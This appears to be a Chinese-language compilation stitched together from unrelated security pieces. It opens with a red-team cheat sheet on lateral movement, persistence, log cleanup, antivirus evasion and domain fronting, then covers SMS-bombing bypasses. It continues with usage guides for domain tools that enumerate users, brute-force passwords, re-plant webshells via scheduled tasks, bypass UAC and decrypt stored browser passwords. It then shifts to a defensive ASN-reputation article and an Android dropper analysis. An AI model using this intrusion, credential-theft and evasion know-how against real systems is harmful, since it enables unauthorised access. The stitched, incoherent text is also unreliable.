远程服务管理 [ SCM ]
远程创建执行计划任务 [ Scheduled Tasks ]
WMI 远程执行 [ WMI ]
针对高版本WindowsWinRM 远程执行 
DCOM 远程执行 [ 需要目标Windows机器事先已关闭防火墙 ]
高版本 RDP 远程执行
利用MSSQL数据库存储过程来变相远程执行
利用Oracle数据库存储过程来变相远程执行
SMB [ PTH (hash传递) ]
RDP[MSTSC] 反向渗透 [ 即可用于突破某些隔离, 亦可通过云(Windows vps)直接反控目标管理员个人机 CVE-2019-0887 ]
利用补丁服务器下发执行
利用EDR主控端定向下发执行
  • 从 Windows平台 横向至 *inux平台
基于Windows SSH库自行开发各种远程执行小工具
windows10自带的openssh直接命令远程连接:
ssh  root@192.168.3.124
scp -rp  I:\test  root@192.168.3.124:/opt(上传文件件及其内容)
scp   I:\test\test.txt  root@192.168.3.124:/opt  (上传文件内容)
scp   root@192.168.3.124:/opt/test/2.txt   I:\test (下载文件)
  • 从 *inux平台 横向至 Windows 平台
一般都会将 impacket套件中的各个常用py脚本事先直接打包成可执行文件, 然后丢到目标linux系统中去执行,如下
wmiexec_linux_x86_64
smbexec_linux_x86_64
psexec_linux_x86_64
atexec_linux_x86_64
dcomexec_linux_x86_64
参考工具:
https://github.com/maaaaz/impacket-examples-windows
https://github.com/ropnop/impacket_static_binaries/releases/tag/0.9.22.dev-binaries 
另外,还有一些基于go的工具,同样也可以编译成可执行文件之后再丢上去执行
  • 从 *inux平台 横向至 *inux 平台
linux 自带的ssh客户端工具套件, 默认就可以用来进行远程执行
  • 各种远程下载技巧
wget [ win & linux ]
curl [ win & linux ]
之所以没着重提以下这些系统内置的远程下载执行工具,主要还是因为事先已经明确知道
某些杀软环境下它肯定会被拦截,所以事先就直接把它弃用了,尤其针对红队这种场景,这些东西根本不在乎多,有一个能用好用的即可
CertUtil.exe
Bitsadmin.exe
Regsvr32.exe
Rundll32.exe
Powershell.exe
......

0x11 内网安全 [ 权限维持,防御重点 ] [ 注: 有些细节此处并未展开详细说明 ]

  • 边界入口权限维持
OWA 登录口 [ 账号密码,webshell ]
VPN 登录口 [ 账号密码,shell ]
其他 MAIL 登录口 [ 账号密码 ]
边界 Web服务器 [ Webshell 驻留技巧 ]
边界路由交换设备 [ 账号密码,shell ]
...
  • Windows 单机系统维持 [临时]
系统计划任务 [ 高权限/低权限 ]
常规注册表自启动项 [ 用户权限/system权限 ]
Mssql存储过程 [ 继承服务权限 ]
WMI
Winlogon
CLR
Logon Scripts
MruPidlList
Mof
传统远控
...
  • linux 单机系统维持 [临时]
Patch SSH
替换各类基础服务so [ PAM,Nginx,Rsync ...] 
系统计划任务
传统应用层远控
驱动层远控( 针对特定内核版本 )

0x12 痕迹处理

web日志 [ 访问, 错误日志 ]
数据库日志 [ 异常连接日志,慢查询日志 ]
系统各类安全日志 [ ssh,rdp,smb,wmi,powershell....]
各类邮箱登录日志
域内敏感攻击利用日志 [ 金票,银票... ]
此项为专业蓝队范畴,不再赘述
......

0x13 各类常用 C2 / 渗透 框架

CobaltStrike [二次开发]
  payload(beacon) 逆向/改进重写
Metasploit [二次开发]
......

0x14 各类常用 Webshell管理工具

菜刀	caidao20160622
冰蟹	Behinder_v2.0.1
蚁剑	AntSword
......

0x15 免杀 及 各类防火墙对抗

  • 静态
混淆:
手工混淆,有源码的情况下,尝试逐个替换可能是关键特征字符串的 命名空间名, 函数名, 变量名, 字符串 等等等....
工具混淆,针对各种语言的专业混淆工具 [ 有商业版 ]
...

加壳:
一些常用公开壳的实际效果可能并不是太好 [ 也有商业壳 ]
最好的方式还是尝试自己写壳,就是成本较高
...
  • 动态
反射
shellcode 内存加解密执行 ( 对于现在的某些杀软来讲,可能并没什么卵用,别人拦的基本都是你的最终调用 )
白利用
......

注:
   理论上, 这些应该也没有什么非常通用的方法
   大多还是事先针对特定的杀软针对性的不停调试分析出它到底怎么拦,怎么查的,然后再针对性的对症下药
  • 流量:
域前置[利用大厂cdn]
工具参考:
https://tengxiaofei.run/2020/06/22/%E6%B5%81%E9%87%8F%E7%BB%95%E8%BF%87-cobaltstrike%E5%9F%9F%E5%89%8D%E7%BD%AE%E9%9A%90%E8%97%8F%E7%9C%9F%E5%AE%9EIP%E5%92%8C%E6%81%B6%E6%84%8F%E5%9F%9F%E5%90%8D/
https://evi1cg.me/archives/AMSI_bypass.html
https://www.anquanke.com/post/id/195011#h2-1
https://www.moonsec.com/archives/2928
https://zhuanlan.zhihu.com/p/364877190
https://syst1m.com/post/domain-fronting/
https://medium.com/@vysec.private/alibaba-cdn-domain-fronting-1c0754fa0142
https://blog.cobaltstrike.com/2017/02/06/high-reputation-redirectors-and-domain-fronting/
https://www.xorrior.com/Empire-Domain-Fronting/
https://www.cyberark.com/resources/threat-research-blog/red-team-insights-on-https-domain-fronting-google-hosts-using-cobalt-strike
https://medium.com/@vysec.private/domain-fronting-who-am-i-3c982ccd52e6
https://medium.com/@vysec.private/validated-cloudfront-ssl-domains-27895822cea3
https://www.mindpointgroup.com/blog/pen-test/cloudfront-hijacking/
https://github.com/MindPointGroup/cloudfrunt
https://www.secpulse.com/archives/142017.html
https://www.chabug.org/web/1373.html
DNS加密隧道
参考工具:
https://www.cnblogs.com/beautiful-code/p/13725355.html#cs%E4%BD%BF%E7%94%A8dns%E9%9A%A7%E9%81%93%E5%BB%BA%E7%AB%8B%E8%BF%9E%E6%8E%A5
https://www.freebuf.com/articles/network/208242.html
https://www.freebuf.com/articles/web/256032.html
https://www.cocosec.com/archives/262.html
http://blog.nsfocus.net/dns-tunnel-communication-characteristics-detection/
https://www.freebuf.com/articles/network/244094.html
https://www.freebuf.com/articles/network/214923.html
https://blog.riskivy.com/%e6%8e%a2%e7%a7%98-%e5%9f%ba%e4%ba%8e%e6%9c%ba%e5%99%a8%e5%ad%a6%e4%b9%a0%e7%9a%84dns%e9%9a%90%e8%94%bd%e9%9a%a7%e9%81%93%e6%a3%80%e6%b5%8b%e6%96%b9%e6%b3%95%e4%b8%8e%e5%ae%9e%e7%8e%b0/
https://xz.aliyun.com/t/6966#toc-17
https://downloads.skullsecurity.org/dnscat2/
https://apt404.github.io/2017/12/29/cobalt-strike-dns/
https://www.anquanke.com/post/id/99408
第三方公共邮箱上线
第三方网盘上线
第三方社交网站上线
第三方匿名社交工具上线[eg: tg机器人,tor...]

在测试甲方业务或者挖 SRC 等业务的时候,经常碰到发送短信验证的地方,我们可以联想到的就是任意用户登陆、短信轰炸、任意用户修改密码等逻辑性的漏洞, 简单的漏洞也是需要清晰的思维分析,拿几个短信轰炸多个绕过案例分享,高危挖不动低危拿来凑。
1. 参数污染绕过
参数污染,就是说后台发送短信的时候会取数字那部分,当你混入其他字符之后绕过了对已经发送的手机号码的限制的校验:nkenvbvhmcc14122.jpg2. 变量污染绕过
所谓变量污染呢, 大概因为后台校验了第一个变量的内容都当成了值处理,但是当数据包在传递到后台过去的时候,如果参数名是一样的时候,是会以第二个、第三个、第四个…最后那个参数为基准去传递,因此绕过了后台的限制njyobezzqof14123.jpgocklkeisrsf14124.jpg

3. 数据长度绕过
手机号码的定义是 11 位数,但是后台没有对传递的手机号码做校验长度,比如123=0123=00123,通过该方法来进行一个手机号码的绕过: 【狗的一个漏洞】5nbjsrecjlq14126.jpg【找不到图片了】

4. 修改变量参数绕过
比较常见就是发送验证码的时候前端带入一个状态,通过修改这个状态可以来绕过系统的限制,如已注册的用户不能发送短信或者相反未注册的用户不能发送短信
Flase 改成 truehq5lak4qmdn14127.jpg


5. Cookie 替换绕过
换汤不换药,校验用户的凭证放在了 cookie 中,通过修改 cookie 中的某些参数可以打到绕过对以发送/已注册的手机号码进行发送短信:dy5sc53kmx214128.jpgyxk0ypxtrfr14129.jpg
6. 【空格绕过短信轰炸】【无图】
发送短信的时候是 11 位数,但是数据库没有限制字段长度为 11,通过添加空格绕过了原有的校验,但是后台发送号码的时候,取有效字符前面的字段,导致了出现被绕过的方法。

7. 【验证码可复用导致短信轰炸漏洞】【无图】
在吃了用户名爆破或者密码爆破漏洞亏之后,加入了验证码的校验,但是验证码在发送的时候抓包不放行, 验证码不会失效,引起的短信轰炸漏洞。
8. 【基于 API 接口绕过】 【无图】
这一个漏洞的话, 一般是前台输入手机号码, 发送请求 1 到后台判断是否可以执行发送请求
2, 否的话返回 
False 或者 error, 成功的话返回一个 true 或者 success, 只要找到返回的这
个接口, 说不定也可以找到这种漏洞。

0x01. NetLocalGroupGetMembers

功能:查询目标服务器本地管理组的成员

yzegalkkkhi14138.png

0x02. NetLocalGroupEnum

功能:返回指定服务器上的所有本地组

imlxc0xa5ru14140.png

0x03. NetGroupGetUsers

功能:返回指定服务器指定组的所有成员

查询域里的各个组里的成员,IP必须是域控IP

ynhubimtp4x14141.png  

0x04. NetUserEnum

功能:查询目标服务器所有用户,包括隐藏用户

ffaz2awy0uq14150.png

dqdofqwy3fs14151.png  

0x05. wnetaddconnection2a

功能:建立IPC连接,可以将目标共享目录映射到本地磁盘

upvtn00hlew14152.png

0x06. WNetCancelConnection2

功能:删除IPC连接

bq5n0fpdrf214153.png

0x07. EnuDomainUser

功能:枚举域用户

1. 介绍

适用于:当前边界机器权限是工作组机器,通过nltest或者nbtscan等工具发现内网有域环境,并且找到域控IP,但是没有域用户的权限下渗透思路。

前提条件:能够和域控建立空连接

实现原理:域管默认都会有administrator用户,通过windows api查出administrator域管的SID,然后遍历SID范围,枚举出域成员(域用户和域机器)。

SID范围:域用户和域机器的SID一般是1000以上,所以使用工具的时候遍历1000以上的SID

2. 工具使用

使用帮助:

C:\Users\Administrator\Desktop>EnuDomainUser.exe
Usage: EnuDomainUser.exe <DC-IP> <domainname\username> <start Sid> <end Sid> <t_num>
       EnuDomainUser.exe \\192.168.52.2 hack\administrator 1000 2000 100
       EnuDomainUser.exe \\域控IP 域名\域用户名<默认administrator> 起始Sid 末尾Sid 多线程数目

使用demo:

EnuDomainUser.exe 192.168.52.2 hack\administrator 1000 2000 100

参数解释:

192.168.52.2  是域控IP
hack          是域名
administrator 是域管默认用户
1000          是遍历SID的起始
2000          是遍历SID的末尾-可以设置高一点,例如10000,20000等
100           是多线程的数目

0m0mghaayrh14154.png

dsa3tj1ayo514155.png  

0x08. BlastDomainUserPwd

功能:爆破域用户密码

1. 介绍

通过IPC连接->爆破域用户的密码

结合EnuDomainUser工具或者kerbrute工具获取域用户名列表,然后进行爆破

如果被360杀,改一下exe名字即可

设计思路:

  1. 如果能够和域控建立空连接,则用EnuDomainUser工具枚举遍历出所有域用户名
  2. 如果不能够和域控建立空连接,则用kerbrute工具爆破域用户名

当获取到一批域用户名后,开始尝试域用户密码的弱口令爆破

域用户密码有强度要求,则尝试爆破强弱口令。例如:P@ssw0rd、1qaz@WSX等

2. 工具的使用

Usage: BlastDomainUserPwd.exe <domainComputerIp> <domainUser.txt> <password> <t_num>
       BlastDomainUserPwd.exe \\192.168.52.29 domainUser.txt password 100
       BlastDomainUserPwd.exe \\域机器IP 域用户名字典 尝试爆破的密码 多线程数目

域用户名字典格式规范:域名\域用户名

domain\user

u5mtfuyta0d14156.png  

运行实例: BlastDomainUserPwd.exe \\192.168.52.2 domainUser.txt 1qaz@WSX 3

vx4he3loyxl14157.jpg

成功爆破出的域用户密码保存在当前目录的success.txt文本里

 

nbjejvdrnia14158.png  

 

0ctkx5pp2jx14159.png

0x09. SchtaskBackDoorWebshell

功能:计划任务维持webshell

1. 适用场景:

护网中被防守方发现webshell,并清除出去,漏洞也被修复,然后网站恢复后不能再上传webshell时,通过计划任务重写webshell。

2. 条件:

管理员权限,因为创建计划任务得需要管理员权限

3. 使用方法:

xxxx.exe c:\wwww\upload\1.jsp

4. 实现过程:

将c:\wwww\upload\1.jsp内容复制到c:\windows\temp\tempsh.txt里,然后创建了一个计划任务,执行的命令是c:\windows\system32\cmd.exe /c copy c:\windows\temp\tempsh.txt c:\wwww\upload\1.jsp,每半小时触发一次。

5. 视频展示:

xfsfunuruwv14173.gif

0x10. regeditBypassUAC

功能:过uac执行exe,编译好的exe只适用于win10,win7不行

1. 具体过程

基于白名单程序注册表bypassUAC

2. 视频演示

2oyjf5vellk14180.jpg  

0x11. delegationVul

功能:检测内网域的约束委派

1. 约束委派利用

约束委派利用

2. 视频演示

a1q0ww0ews114185.jpg

3. 基于资源的约束委派利用

基于资源的约束委派利用

4. 视频演示

 

xbsxv5xw5os14188.jpg  

 

0x12. 360SafeBrowserDecrypt

功能:

直接在目标机器上运行,但是不免杀
360SafeBrowserDecrypt.exe

将目标的机器id和assis2.db数据库拖回到本地解密
查机器id:
reg query "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY" /v "MachineGuid"
查360安全浏览器安装目录: 
reg query "HKCR\360SeSES\DefaultIcon"
默认的assis2.db数据库目录:
C:\Users\xxxxxxx\AppData\Roaming\360se6\User Data\Default\apps\LoginAssis

本地运行:
360SafeBrowserDecrypt.exe xxx-xxx-xxx-xxx assis2.db
ztikat1xwjk14193.png
结果显示:
有收藏夹的url和保存密码的url

文章中所用到工具: 链接:https://pan.baidu.com/s/1bKo-srQJMWgpQt5mPCFPfA 提取码:ryzx

ep4isrda0gd14205.jpg

分析文章:动态调试360安全浏览器获取密钥

 

原文链接: https://github.com/SkewwG/domainTools         hh4wm2qszqa14206.jpg

 

 

在互聯網中,一個自治系統(AS)是一個有權自主地決定在本系統中應採用何種路由協議的小型單位。這個網絡單位可以是一個簡單的網絡也可以是一個由一個或多個普通的網絡管理員來控制的網絡群體,它是一個單獨的可管理的網絡單元(例如一所大學,一個企業或者一個公司個體)。一個自治系統有時也被稱為是一個路由選擇域(routingdomain)。一個自治系統將會分配一個全局的唯一的號碼,有時我們把這個號碼叫做自治系統號(ASN)。通過自治系統號(ASN)預判攻擊發生的可能性是出於以下7個方面的考慮:

1.利用Akamai(一家網路安全公司)對互聯網趨勢和活動的廣泛了解,Akamai研究人員一直在分析自治系統號(ASN),以評估大量互聯網的風險。

2.ASN包含受管理的ISP、雲計算公司、跨國集團以及小型組織的IP地址池。

3.這些ASN的各種特徵(包括其註冊位置、提供商類型以及管理ASN中IP使用的策略)可能會影響攻擊者被發現使用這些ASN中的IP的可能性。

4.了解ASN的惡意性可以讓安全從業人員對任何給定IP的風險做出更明智的預測,即使它不是已知的威脅。

5.惡意ASN更有可能包含用於託管網絡釣魚網站、惡意文件、殭屍網絡和掃描程序的IP。 “可能的惡意”ASN表示遇到惡意IP的概率為七分之一或更高。

6.對流量的分析表明,“可能的惡意”ASN佔所有在線IPv4地址的不到2%,但它們接收的互聯網流量超過5%。

7.此外,“潛在惡意”類別中的ASN在互聯網上所有IPv4地址中的佔比不到5%,但它們接收的互聯網流量卻超過18%,這表明惡意和合法流量可以由同一個ASN提供服務。

IP智能化有很多用途:例如,防火牆或DNS查詢後阻止。基於IP預先確定“通過/不通過”的能力是一項重要的防禦措施。

Akamai安全研究人員利用Akamai對在線流量的廣泛可見性,創建了在線ASN的全面映射,以評估惡意地址出現在ASN中的可能性。在這篇文章中,我們將詳細介紹ASN,以及ASN對風險評估可能產生的影響。我們還將檢查惡意ASN等。

風險評估現狀由於動態IP、CDN和託管服務的存在,基於IP的阻止可能是非常危險。個人和組織可能會受到不同程度的影響。例如,錯誤地屏蔽一個社交媒體網站的IP可能只會讓一名員工感到無所適從,影響正常工作。

在更大的範圍內,阻止來自CDN或託管服務的單個IP可能會導致阻止數千個網站。我們以白名單的形式提供保護以避免這些極端情況,但必須要注意,某些用例可能會優先考慮更廣泛的威脅保護而不是誤報。綜上所述,此種策略的弊端太大。

不過Akamai可以通過大量數據輸入來解決上述弊端,例如:

Akamai Intelligent Edge Platform上通過IP發起的攻擊;

每天來自數十億次DNS查詢的檢測;

IP流行度源自每天數十億的DNS查詢;

其他形式的內部和第三方情報;

有多個來源,包含數百萬IP的正面(合法IP)和負面(惡意IP)證據。我們需要結合這些資源為每個IP創造一個分數。為此,我們採用貝葉斯方法,其複雜性在於確定每個源的權重。這樣做的目的是建立一個更全面的風險評估,考慮到不同的來源。分數越高,負面證據就越多。分數越低,惡意證據就越少,或者正面和負面證據混合在一起。根據應用程序的不同,可以選擇一個閾值來實現誤報和真實所需的平衡。這比典型的基於IP的風險評估更進了一步,在這種評估中,了解ASN的力量及其可能產生的影響勢在必行。

什麼是自治系統?簡而言之,自治系統就是互聯網的構建方式。每個自治系統都映射到一個數字,因此我們通常說ASN(自治系統號)。每個ASN都有一個IP池,每個ASN負責使用邊界網關協議(BGP)在其網絡內路由流量並通過Internet與其他ASN通信。

在這篇文章中,我們只聚焦IPv4,其中包括大約7萬個自主系統。

ASN可以以不同的方式進行分類,以了解它們在互聯網上的位置。例如,“從多個優勢點描述互聯網層次結構https://ieeexplore.ieee.org/abstract/document/1019307”查看BGP表,從商業角度對ASN的角色進行分類。 “使用深度學習揭示自治系統之間的關係類型https://ieeexplore.ieee.org/document/9110358”使用深度學習來理解ASN之間的關係類型。要了解ASN背後的組織,我們可以查看“揭示自治系統分類法:機器學習方法https://arxiv.org/abs/cs/0604015”,它試圖將ASN自動分類為大型ISP、小型ISP、大學、互聯網交換點和網絡信息中心。最近,在“BGP2Vec:揭示自治系統的潛在特徵https://ieeexplore.ieee.org/abstract/document/9761992”中使用了word2Vec樣式的模型,將ASN分類到應用互聯網數據分析中心的交通/訪問、內容、教育/研究和企業類別中。

ASN大小讓我們看看前10個最大的ASN的IPv4地址池大小(表1)。最大的ASN歸美國國防部網絡信息中心所有。名單上的其他公司包括大型ISP、雲計算公司和跨國企業集團。我們排除了ASN 0,因為它是用來識別不可路由網絡的。

1.png

按IPv4地址池大小排列的前10個最大的ASN

下圖進一步顯示了這10個ASN的影響。前10個ASN約佔分配的IPv4地址空間的25%。相比之下,只有16%的IPv4地址空間分配給前1000個之外的69000個ASN,因此互聯網流量中存在類似於域或IP的ASN的長尾。這是分配給相對較小百分比的大量互聯網。這是我們在確定有效的ASN風險評估時必須考慮多個數據輸入的部分原因。正如你將在本文後面了解到的那樣,並非所有ASN都是平等的。

2.png

ASNIPv4地址池大小占全部IPv4地址池的百分比

地理位置位置在真正理解ASN方面也起著重要作用。為了詳細說明這一點,我們構建了一個散點圖,其中包含與每個國家/地區關聯的ASN數量與這些ASN的IP池大小的關係。

3.png

與每個ASN關聯的國家與這些ASN的IP池大小

在前10大ASN中,美國有6個,在IP總數和ASN總數方面均領先。緊隨美國之後的是:巴西、英國、丹麥、印度和俄羅斯。繼續向左移動一點,我們可以看到中國、日本和韓國的ASN數量要少得多,但其數量比巴西和俄羅斯等國要多。考慮到我們所知道的前1000名ASN和其他69000名之間的差距,當遇到某個國家的IP並為其創建風險評估時,可能會面臨一些獨特的挑戰。

例如,對於ASN數量較少但IP較多的國家/地區,惡意IP更有可能與合法IP在同一個ASN中,這意味著在僅基於ASN的阻止時可能更難以避免誤報。使用AkamaiDNS數據,我們看到與中國ASN相關的所有已解析IP均來自383個ASN,而俄羅斯則為2311個。因此,在中國和俄羅斯阻止ASN的影響,就不能採用同一種方法了。例如,在中國屏蔽整個ASN會佔用整個互聯網部分,而在俄羅斯屏蔽整個ASN會佔用更少的資源。這就是為什麼我們不能完全避免僅僅基於IP的風險評估,以及為什麼我們在創建接下來討論的ASN風險評估時必須考慮到了這一點。

ASN風險評估4.png

我們對ASN信譽的定義很簡單:一個ASN的信譽衡量的是該ASN中任何給定的活躍IP被惡意攻擊的概率。

為了計算這個概率,我們擴展了貝葉斯方法,如前所述,將每個IP的分數和權重向上輸入到它們所屬的ASN。 Akamai數據用於估計ASN中活躍IP的數量。當我們對每個ASN的多個IP進行聚合時,我們希望我們的ASN信譽計算能夠受益於大數定律,從而計算出最準確的風險評估。例如,如果一個ASN有兩個IP,有30%的機率是惡意的,那麼兩個IP都是惡意的機率都很高,因此可以評估ASN本身是沒有惡意的。這與擁有1000個IP的ASN形成了鮮明的對比,所有的惡意可能性為30%。在這種情況下,可以推斷出該ASN中30%的IP實際上是惡意的,這使得它們比第一個示例中明顯更危險。

跟踪我們不知道的內容以及我們數據中存在的偏差非常重要。將會有我們擁有大量數據的ASN,以及數據很少的ASN。為了盡可能地解決這個問題,我們需要記錄證據數量,它反映了我們擁有的數據量,也可用於計算可能的ASN風險評估值的分佈。從本質上講,我們認為是良性的IP與我們知道是良性的IP(甚至是我們知道是惡意的IP)之間存在顯著差異。當我們擁有較少的數據時,我們可能會假設風險評估較低,但在這種情況下,我們也會記錄較低的證據數量以將結果置於上下文中。在做出有關ASN的決定時,應使用這兩個數字。

ASN風險評估情況下圖顯示了根據池大小的日誌繪製的每個ASN的風險評估。我們看到,隨著風險評估越來越差,ASN的池規模不太可能大。為了更容易理解這些信息,我們將ASN信譽分為四組:

良性:ASN內部發生惡意活動的機率極低;

可能是良性的:主要是良性的,ASN內發生惡意活動的可能性相對較低;

潛在惡意:應謹慎行事,大部分是良性的,但可以檢測到一些惡意活動;

可能惡意:應謹慎或避免,惡意活動與良性的比率表明ASN主要是惡意的或對惡意活動缺乏足夠的控制。

5.png

針對IP地址池大小繪製的每個ASN的風險評估

IPv4地址空間排名前10位的ASN都位於上圖右下角。這意味著他們大多數都有良好的信譽,只有少數例外。圖中突出顯示了異常值的ISP、移動網絡運營商(MNO)和託管服務提供商。與類似的大型ASN相比,它們具有更高的風險評估。數據顯示,這是由各種威脅類型驅動的。似乎有一些潛在的因素使這些ASN的風險更高。我們還必須記住,與這些非常大的ASN相比,惡意活動的相對數量很小,較小的ASN風險更大。

上圖出現的AkamaiASN都具有“良性”風險評估。但是,是什麼讓一個CDN比另一個更具風險呢?這可能是因為攻擊者的進入門檻較低,例如監控效果較差或控制較少。

我們還在上圖中突出了兩組總共13個ISP/MNOASN,可以看出它們的風險評估明顯更高。當我們更深入地觀察時,我們大多會看到來自這些ASN的殭屍網絡和掃描活動的混合。我們可以推測這些ASN更容易受到惡意軟件感染。

當我們繼續向圖的左上角移動時,我們會看到ASN長尾中具有各種威脅類型的風險部分。通常,我們會看到IP地址被用於託管惡意活動,如釣魚網站、惡意文件或掃描程序。在某些情況下,我們能夠看到TOR網絡出口節點,這可能是惡意活動的代理。

在線流量中的風險ASN到目前為止,我們已經從IP空間的角度查看了ASN風險評估,但是從在線流量角度來看,有風險的ASN出現的頻率是多少?下圖中顯示了一天中AkamaiDNS流量的變化,其中包含大約600億次查詢。總共76.6%的查詢來自“良性”和“可能良性”類別的ASN,18.1%來自“潛在惡意”類別,進一步強調合法和非法服務可以從同一個ASN運行。這些DNS查詢中共有5.3%解析為來自ASN的IP,其風險評估屬於“可能惡意”類別,這表明在高度鎖定的用例中,基於ASN的阻止的潛力在於識別真正的風險而不是避免誤報。

6.png

一天中Akamai DNS流量的變化

採取IP來預測攻擊風險就是要精準控制,即精度是最大的問題,希望盡量減少被阻止的合法服務的數量。在其他情況下,例如,在高度控制的環境中,減少誤報的比率很重要。

在沒有ASN信譽背書的情況下,我們在查看證據之前的假設是,所有IP都是合法的。 ASN信譽解鎖了對這些先前假設採取分層方法的能力。如果該IP的ASN非常糟糕,這可以作為我們預測攻擊風險發生的起點,我們可以在收集更多證據時更新我們的數據。 ASN中其他IP的得分會影響該IP的最終得分,並可能影響其是否被阻止。

阻止整個ASN在高度鎖定的環境中,可能需要根據其信譽來阻止整個ASN。由於ASN的信譽是不斷評估的,這個列表不需要是靜態的。隨著信譽的下降,新的ASN將被自動添加。同樣,當我們看到ASN威脅較小的證據時,可以放寬阻止。

總結在討論風險評估時,總會存在細微差別,但ASN風險評估有可能徹底改變安全行業。就像安全的所有其他方面一樣,沒有靈丹妙藥,每個組織都必須做出最適合其環境的決策。但是,超越僅基於IP的風險評估方法的能力允許在你的允許列表和阻止列表中採用更主動的防禦模型。

我們會在本文介紹一種名為DawDropper的銀行木馬滴管,並詳細說明了其與深層網絡中的DaaS相關的網絡犯罪活動。

今年,攻擊者通過惡意下載程序偷偷地將越來越多的銀行木馬添加到GooglePlay商店,這證明這種技術可以有效地逃避檢測。此外,由於對傳播移動惡意軟件的新方法有很高的需求,一些攻擊者聲稱他們的滴管可以幫助其他網絡犯罪分子在GooglePlay商店上傳播他們的惡意軟件,從而產生了滴管即服務(DaaS)模型。

早在2021年下半年,就有研究人員發現了一個惡意活動,該活動使用了一種新的dropper變體,我們稱之為DawDropper。 DawDropper以JustIn:VideoMotion、DocumentScannerPro、ConquerDarkness、simpliCleaner和UniccQRScanner等多個Android應用為幌子,使用第三方雲服務FirebaseRealtimeDatabase來逃避檢測並動態獲取有效載荷下載地址。它還在GitHub上託管惡意負載。截至報告時,這些惡意應用程序已不再在GooglePlay商店中提供。

1.png

DawDropper以前在GooglePlay商店中可用的惡意應用程序

我們觀察到新的DawDropperdropper的技術細節,查看了2022年初發布的使用惡意滴管銀行木馬的簡史,並在這篇文章中討論了與暗網中的DaaS相關的網絡犯罪活動。

DawDropper技術分析根據我們的觀察,DawDropper的變體可以釋放四種類型的銀行木馬,包括Octo、Hydra、Ermac和TeaBot。所有DawDropper變體都使用Firebase實時數據庫(一種用於存儲數據的合法雲託管NoSQL數據庫)作為其命令和控制(CC)服務器,並在GitHub上託管惡意負載。

2.png

DawDropper感染鏈

3.png

託管Octo有效負載的GitHub存儲庫

4.png

託管Ermac有效負載的GitHub存儲庫

5.png

託管Hydra有效負載的GitHub存儲庫

Clast82和DawDropper之間的相似之處有趣的是,我們發現CheckPointResearch在2021年3月報告的另一個名為Clast82的dropper也使用Firebase實時數據庫作為CC服務器。

6.png

從CC服務器獲取的數據格式

DawDropperCC服務器返回的數據類似於Clast82數據:

7.png

DawDropperCC服務器響應

8.png

另一個DawDropper變體的CC服務器響應,添加了安裝指標和安裝新更新的提示

Octo有效載荷DawDropper的惡意負載屬於Octo惡意軟件家族,這是一種模塊化和多階段的惡意軟件,能夠竊取銀行信息、攔截短信和劫持受感染的設備。 Octo也稱為Coper,歷史上一直用於針對哥倫比亞的網上銀行用戶。

根據我們的分析,DawDropper的Octo惡意軟件負載與之前報導的變體相似。該數據包使用編程語言關鍵字來混淆惡意功能。

9.png

2022年3月和6月部署的同類型Octo有效載荷包

一旦Octo惡意軟件在受害者的設備中成功啟動並獲得主要權限,它將保持設備喚醒並註冊預定服務以收集敏感數據並將其上傳到其CC服務器。它還使用虛擬網絡計算(VNC)來記錄用戶的屏幕,包括銀行憑證、電子郵件地址和密碼以及PIN等敏感信息。該惡意軟件還通過關閉設備的背光並關閉設備的聲音來隱藏攻擊,從而導致用戶的屏幕變黑。

10.png

Octo惡意軟件感染鏈

該惡意軟件還可以禁用GooglePlayProtect(通過設備的應用程序並檢查攻擊)並收集用戶數據,包括受感染手機的AndroidID、聯繫人列表、已安裝的應用程序,甚至是短信。

2022年初的迭代史為了更好地理解銀行木馬通過惡意dropper傳播的趨勢,我們必須回顧自2022年初以來,滴管是如何在GooglePlayStore上出現的,分析這些滴管如何彼此不同和演變,並了解網絡犯罪分子是如何傳播他們。

11.png

2022年上半年通過滴管傳播的銀行木馬時間線

銀行滴管之間的主要區別儘管這些銀行滴管的主要目標是相同的,即在受害者的設備上傳播和安裝惡意軟件。但我們已經觀察到,這些銀行滴管在實現惡意程序的方式上存在顯著差異。例如,今年早些時候出現的銀行滴管具有硬編碼的有效載荷下載地址。同時,近期上線的銀行滴管往往會隱藏負載的實際下載地址,有時會使用第三方服務作為CC服務器,還會使用GitHub等第三方服務託管惡意負載。

12.1.png

12.2.png

12.3.png

12.4.png

Vulturdropper(SHA-256:00a733c78f1b4d4f54cf06a0ea8cc33604512d6032ef4ef9114c89c700bfafcf),又名Brunhilda,於2020年底首次被報導為DaaS。 2022年1月,我們觀察到它直接在受感染設備上下載惡意負載,並有自己的方法解密惡意載荷。

13.png

Vulturdropper的下載文件

14.png

Vulturdropper的惡意負載解密進程

同樣於2022年1月發布的Sharkbot滴管(SHA-256:7f55dddcfad05403f71580ec2e5acafdc8c9555e72f724eb1f9e37bf09b8cc0c)具有獨特的行為:它不僅充當滴管,還請求訪問權限並響應所有用戶界面(UI)事件受感染的設備。

15.png

Sharkbotdropper的請求服務器

16.png

Sharkbotdropper從響應中獲取下載URL

與此同時,2022年4月發布的TeaBotdropper使用GitHub託管其惡意軟件負載。但是,TeaBot使用另一個GitHub存儲庫來獲取下載地址,而DawDropper則使用Firebase實時數據庫。

DaaS暗網活動在對使用滴管的銀行木馬的調查中,我們觀察到,2021年首次報告的其中一個滴管是Gymdrop,它連接到網絡一個攻擊者可以用來管理的管理面板(trackerpdfconnect[.]com和smartscreencaster[.]online)滴管和有效載荷。我們還發現Gymdrop在一個暗網論壇上被宣傳為典型的DaaS。

17.png

Hydradropper的Gymdrop管理面板

18.png

2022年2月地下論壇中的Gymdrop管理面板登錄頁面

安全建議攻擊者不斷尋找逃避檢測和感染盡可能多設備的方法。在半年的時間裡,我們已經看到銀行木馬如何改進其技術進程以避免被檢測到,例如將惡意負載隱藏在滴管中。隨著越來越多的銀行木馬通過DaaS獲得,攻擊者將有一種更簡單、更經濟高效的方式來傳播偽裝成合法應用程序的惡意軟件。我們預計這種趨勢將繼續下去。用戶應採用以下安全安全措施:

始終檢查應用評論,看看用戶是否表達了不尋常的擔憂或負面體驗。

在調查應用開發商和發行商時進行盡職調查,避免從看起來可疑的網站下載應用程序。

避免安裝來歷不明的應用程序。

移動用戶可以通過使用移動安全解決方案實時掃描移動設備並按需檢測惡意應用程序或惡意軟件以阻止或刪除它們,從而幫助最大限度地緩解這些欺詐性應用程序帶來的威脅。這些應用程序適用於Android和iOS。

本文會介紹OPA 以及它的用途,並結合已發現的案例來說明通過Shodan 識別389 個暴露的OPA 服務器後發現了什麼,以及暴露的OPA 如何對用戶的應用程序的整體安全性產生哪些負面影響。

